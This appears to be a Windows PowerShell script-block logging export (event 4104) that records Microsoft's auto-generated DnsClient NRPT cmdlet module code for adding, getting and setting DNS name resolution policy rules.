Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Add-DnsClientNrptRule
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${GpoName},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessDnsServers')]
[string[]]
${DANameServers},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessQueryIPsecRequired')]
[switch]
${DAIPsecRequired},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessQueryIPSSECEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DAIPsecEncryptionType},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyName')]
[string]
${DAProxyServerName},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecEnabled')]
[switch]
${DnsSecEnable},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecRequired')]
[switch]
${DnsSecIPsecRequired},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DnsSecIPsecEncryptionType},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string[]]
${NameServers},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[ValidateSet('Disable','Utf8WithMapping','Utf8WithoutMapping','Punycode')]
[string]
${NameEncoding},
[Parameter(ParameterSetName='Add0', Mandatory=$true, Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${Namespace},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${Server},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyType')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','NoProxy','UseDefault','UseProxyName')]
[string]
${DAProxyType},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[switch]
${DnsSecValidationRequired},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessEnabled')]
[switch]
${DAEnable},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[Alias('IPsecCARestriction')]
[string]
${IPsecTrustAuthority},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${Comment},
[Parameter(ParameterSetName='Add0', ValueFromPipelineByPropertyName=$true)]
[string]
${DisplayName},
[Parameter(ParameterSetName='Add0')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Add0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Add0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Add0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DANameServers')) {
[object]$__cmdletization_value = ${DANameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecRequired')) {
[object]$__cmdletization_value = ${DAIPsecRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DAIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAProxyServerName')) {
[object]$__cmdletization_value = ${DAProxyServerName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecEnable')) {
[object]$__cmdletization_value = ${DnsSecEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecRequired')) {
[object]$__cmdletization_value = ${DnsSecIPsecRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DnsSecIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameServers')) {
[object]$__cmdletization_value = ${NameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NameEncoding')) {
[object]$__cmdletization_value = ${NameEncoding}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NameEncoding'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Namespace')) {
[object]$__cmdletization_value = ${Namespace}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Namespace'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoun
ScriptBlock ID: 0a4425c8-4d79-42be-b3a5-87d710c0f827
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1890 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0004-eb28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'root/Microsoft/Windows/DNS/PS_DnsClientNrptGlobal'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-DnsClientNrptGlobal
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal')]
param(
[Parameter(ParameterSetName='Get0', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Get0', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Get0')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Get0')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Get0')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Get', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTGlobal_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientNrptGlobal' -Alias '*'
function Set-DnsClientNrptGlobal
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal')]
param(
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('EnableOnNetworkID','EnableAlways','Disable','DisableDA')]
[string]
${EnableDAForAllNetworks},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Disable','FallbackSecure','FallbackUnsecure','FallbackPrivate')]
[string]
${SecureNameQueryFallback},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Disable','QueryIPv6Only','QueryBoth')]
[string]
${QueryPolicy},
[Parameter(ParameterSetName='Set1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Set1')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Set1')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Set1')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Set1')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EnableDAForAllNetworks')) {
[object]$__cmdletization_value = ${EnableDAForAllNetworks}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EnableDAForAllNetworks'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EnableDAForAllNetworks'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SecureNameQueryFallback')) {
[object]$__cmdletization_value = ${SecureNameQueryFallback}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SecureNameQueryFallback'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SecureNameQueryFallback'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('QueryPolicy')) {
[object]$__cmdletization_value = ${QueryPolicy}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'QueryPolicy'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'QueryPolicy'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptGlobal'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Set', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTGlobal_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-DnsClientNrptGlobal' -Alias '*'
ScriptBlock ID: 8e827dd5-7408-42f3-9056-034f1282eb2b
